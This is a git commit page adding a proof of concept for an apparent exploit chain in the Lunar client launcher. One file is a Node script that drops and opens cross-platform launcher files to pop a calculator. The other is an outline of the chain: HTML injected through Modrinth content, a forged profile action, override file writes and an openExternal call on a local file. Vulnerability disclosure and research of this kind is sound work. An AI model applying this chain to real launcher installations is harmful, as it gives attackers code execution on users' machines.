Upload files to "lunar-modrinth-chain-poc/poc"
This commit is contained in:
@@ -0,0 +1,122 @@
|
||||
#!/usr/bin/env node
|
||||
"use strict";
|
||||
|
||||
const { existsSync, mkdirSync, writeFileSync, chmodSync } = require("node:fs");
|
||||
const { join } = require("node:path");
|
||||
const { spawn, spawnSync } = require("node:child_process");
|
||||
|
||||
const outDir = join(__dirname, "poc-output");
|
||||
mkdirSync(outDir, { recursive: true });
|
||||
|
||||
const markerPath = join(outDir, "marker.txt");
|
||||
writeFileSync(markerPath, "calc-pop-attempted\n", "utf8");
|
||||
|
||||
function detached(command, args, options = {}) {
|
||||
const child = spawn(command, args, {
|
||||
detached: true,
|
||||
stdio: "ignore",
|
||||
windowsHide: false,
|
||||
...options,
|
||||
});
|
||||
child.unref();
|
||||
}
|
||||
|
||||
function commandExists(command) {
|
||||
if (process.platform === "win32") {
|
||||
return spawnSync("where", [command], { stdio: "ignore" }).status === 0;
|
||||
}
|
||||
return spawnSync("sh", ["-lc", `command -v ${command}`], {
|
||||
stdio: "ignore",
|
||||
}).status === 0;
|
||||
}
|
||||
|
||||
function windowsShortcutProof() {
|
||||
const shortcutPath = join(outDir, "calc-pop.lnk");
|
||||
const jscriptPath = join(outDir, "create-shortcut.js");
|
||||
const escapedShortcut = shortcutPath.replace(/\\/g, "\\\\");
|
||||
|
||||
writeFileSync(
|
||||
jscriptPath,
|
||||
[
|
||||
'var shell = WScript.CreateObject("WScript.Shell");',
|
||||
`var shortcut = shell.CreateShortcut("${escapedShortcut}");`,
|
||||
'shortcut.TargetPath = "calc.exe";',
|
||||
'shortcut.WindowStyle = 1;',
|
||||
"shortcut.Save();",
|
||||
"",
|
||||
].join("\r\n"),
|
||||
"utf8"
|
||||
);
|
||||
|
||||
const created = spawnSync("cscript.exe", ["//nologo", jscriptPath], {
|
||||
stdio: "inherit",
|
||||
windowsHide: true,
|
||||
});
|
||||
if (created.status !== 0 || !existsSync(shortcutPath)) {
|
||||
throw new Error("Failed to create Windows shortcut proof");
|
||||
}
|
||||
|
||||
detached("cmd.exe", ["/c", "start", "", shortcutPath]);
|
||||
return shortcutPath;
|
||||
}
|
||||
|
||||
function macLauncherProof() {
|
||||
const launcherPath = join(outDir, "calc-pop.command");
|
||||
writeFileSync(launcherPath, "#!/bin/sh\nopen -a Calculator\n", "utf8");
|
||||
chmodSync(launcherPath, 0o755);
|
||||
detached("open", [launcherPath]);
|
||||
return launcherPath;
|
||||
}
|
||||
|
||||
function linuxLauncherProof() {
|
||||
const calculators = [
|
||||
"gnome-calculator",
|
||||
"kcalc",
|
||||
"qalculate-gtk",
|
||||
"mate-calc",
|
||||
"galculator",
|
||||
"xcalc",
|
||||
];
|
||||
const calculator = calculators.find(commandExists);
|
||||
if (!calculator) {
|
||||
throw new Error(
|
||||
`No supported calculator found. Tried: ${calculators.join(", ")}`
|
||||
);
|
||||
}
|
||||
|
||||
const launcherPath = join(outDir, "calc-pop.desktop");
|
||||
writeFileSync(
|
||||
launcherPath,
|
||||
[
|
||||
"[Desktop Entry]",
|
||||
"Type=Application",
|
||||
"Name=Calc Pop Proof",
|
||||
`Exec=${calculator}`,
|
||||
"Terminal=false",
|
||||
"",
|
||||
].join("\n"),
|
||||
"utf8"
|
||||
);
|
||||
chmodSync(launcherPath, 0o755);
|
||||
|
||||
if (commandExists("xdg-open")) {
|
||||
detached("xdg-open", [launcherPath]);
|
||||
} else {
|
||||
detached(calculator, []);
|
||||
}
|
||||
return launcherPath;
|
||||
}
|
||||
|
||||
let opened;
|
||||
if (process.platform === "win32") {
|
||||
opened = windowsShortcutProof();
|
||||
} else if (process.platform === "darwin") {
|
||||
opened = macLauncherProof();
|
||||
} else if (process.platform === "linux") {
|
||||
opened = linuxLauncherProof();
|
||||
} else {
|
||||
throw new Error(`Unsupported platform: ${process.platform}`);
|
||||
}
|
||||
|
||||
console.log("marker: calc-pop-attempted");
|
||||
console.log(`opened: ${opened}`);
|
||||
@@ -0,0 +1,42 @@
|
||||
# Renderer Chain Skeleton
|
||||
|
||||
This is a non-executable outline. It intentionally omits a working payload.
|
||||
|
||||
## Preconditions To Validate In A Private Lab
|
||||
|
||||
- A private Modrinth project or controlled API fixture can return raw HTML in
|
||||
project `body` or version `changelog`.
|
||||
- Lunar Explore renders that content in the packaged launcher.
|
||||
- The injected frame can access the exposed `window.lunar` or
|
||||
`window.electron` preload bridge from the rendered context.
|
||||
- The main Redux bridge accepts a forged `profiles/addOrUpdateProfile` action.
|
||||
- `installModpack` accepts the forged profile ID.
|
||||
- Override extraction writes root `overrides/*` files to the controlled
|
||||
effective game directory.
|
||||
- `openExternalLink` reaches `shell.openExternal` for a local launcher file URL
|
||||
with a non-restricted initiator.
|
||||
|
||||
## Non-Executable Flow
|
||||
|
||||
1. Build a virtual profile object with these properties:
|
||||
- `id`: fresh local ID
|
||||
- `type`: `modrinth`
|
||||
- `provider`: `modrinth`
|
||||
- `state`: `virtual`
|
||||
- `useLunarFeatures`: compatible with target Modrinth version
|
||||
- `modrinth.projectId`: controlled test project
|
||||
- `modrinth.selectedVersion.versionId`: controlled test version
|
||||
- `overrides.gameDirectory`: writable test directory
|
||||
2. Send a profile-add action into the main Redux state-sync channel.
|
||||
3. Invoke the Lunar Modrinth install API for that profile ID.
|
||||
4. Confirm the controlled test `.mrpack` root override is written under the
|
||||
chosen game directory.
|
||||
5. Invoke the Lunar external-link API with a local `file:` URL to the benign
|
||||
launcher file.
|
||||
6. Confirm the calculator pop or marker file.
|
||||
|
||||
## Expected Benign Result
|
||||
|
||||
The validation succeeds only if a benign calculator pop or marker file is
|
||||
observed. Do not test with an arbitrary command or payload outside a controlled
|
||||
lab.
|
||||
Reference in New Issue
Block a user